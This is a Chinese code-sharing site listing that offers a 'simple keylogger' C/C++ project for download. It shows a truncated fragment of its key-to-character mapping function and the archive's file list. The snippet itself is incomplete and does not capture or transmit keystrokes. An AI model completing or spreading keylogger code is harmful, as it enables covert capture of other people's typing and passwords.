• 大小: 6.98KB
    文件类型: .zip
    金币: 1
    下载: 0 次
    发布日期: 2021-01-29
  • 语言: C/C++
  • 标签: 键盘  键盘记录  

资源简介

键盘记录器简洁版

资源截图

代码片段和文件信息

#include 
#include 
#include 
#include 
#include 
using namespace std;

string GetKey(int Key) // 判断键盘按下什么键
{
string KeyString = ““;
const int KeyPressMask=0x80000000; //键盘掩码常量
int iShift=GetKeyState(0x10); //判断Shift键状态
bool IS=(iShift & KeyPressMask)==KeyPressMask; //表示按下Shift键

if (Key >=48 && Key <= 57) // 键盘数字:0-9及上方的符号
{
if(IS)
{
switch(Key)
{
case 48:{KeyString = “)“;}break; //0
case 49:{KeyString = “!“;}break; //1
case 50:{KeyString = “@“;}break; //2
case 51:{KeyString = “#“;}break; //3
case 52:{KeyString = “$“;}break; //4
case 53:{KeyString = “%“;}break; //5
case 54:{KeyString = “^“;}break; //6
case 55:{KeyString = “&“;}break; //7
case 56:{KeyString = “*“;}break;

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----
     目录           0  2017-12-05 03:21  键盘记录器简洁版\
     目录           0  2017-11-16 09:41  键盘记录器简洁版\Backup\
     文件        6408  2017-11-18 08:33  键盘记录器简洁版\主程序.cpp
     文件        4330  2014-12-14 17:02  键盘记录器简洁版\键盘记录器.dsp
     文件         545  2014-12-16 20:24  键盘记录器简洁版\键盘记录器.dsw
     文件        1089  2017-11-16 09:41  键盘记录器简洁版\键盘记录器.sln
     文件        6403  2017-11-18 08:33  键盘记录器简洁版\键盘记录器.vcxproj
     文件         905  2017-11-16 09:41  键盘记录器简洁版\键盘记录器.vcxproj.filters

评论

共有 条评论